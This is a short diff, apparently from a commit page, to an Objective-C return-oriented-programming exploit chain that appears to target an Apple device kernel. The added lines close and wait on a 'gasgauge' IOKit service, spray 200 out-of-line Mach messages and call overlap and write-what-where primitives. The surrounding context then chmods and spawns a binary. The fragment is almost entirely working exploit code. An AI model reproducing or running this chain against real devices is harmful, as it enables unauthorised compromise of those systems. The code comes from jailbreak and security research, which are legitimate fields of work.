@@ -1659,11 +1659,22 @@ int main(int argc, const char * argv[]) {
1659
1659
RopCallFunction9Deref1 (PUSH, @" ___syscall" , 1 , SEG_VAR (fd2), SYS_close, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 );
1660
1660
RopCallFunction9Deref1 (PUSH, @" ___syscall" , 1 , SEG_VAR (fd1), SYS_close, 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 );
1661
1661
1662
- /*
1662
+
1663
1663
[dy setSlide: dy.slide+1 ]; // enter thumb
1664
1664
RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceClose), 0 , SEG_VAR (gasgauge_), 1 , SEG_VAR (gasgauge_), 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1665
+ RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceWaitQuiet), 0 , SEG_VAR (svc), 5 , SEG_VAR (zero), 0 , SEG_VAR (waitTime), 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1665
1666
[dy setSlide: dy.slide-1 ]; // exit thumb
1666
- */
1667
+
1668
+ for (int i = 0 ; i < 200 ; i++) {
1669
+ SendMsg (PUSH, i, oolmsg_template_512);
1670
+ }
1671
+
1672
+ ReadWriteOverlap ();
1673
+ tmptoscratch ();
1674
+ WriteWhatWhere (PUSH, 0xFFFFFFFF , SEG_VAR (scratch[0x20 +1024 -0x58 ]));
1675
+ ReadWriteScratchOverlap ();
1676
+
1677
+
1667
1678
1668
1679
RopCallFunction3 (PUSH, @" ___syscall" , SYS_chmod, SEG_VAR (spawnpath), 0755 );
1669
1680
RopCallFunction7 (PUSH, @" ___syscall" , SYS_posix_spawn, m_m_scratch, SEG_VAR (spawnpath), 0 , 0 , SEG_VAR (spawnp), 0 );
0 commit comments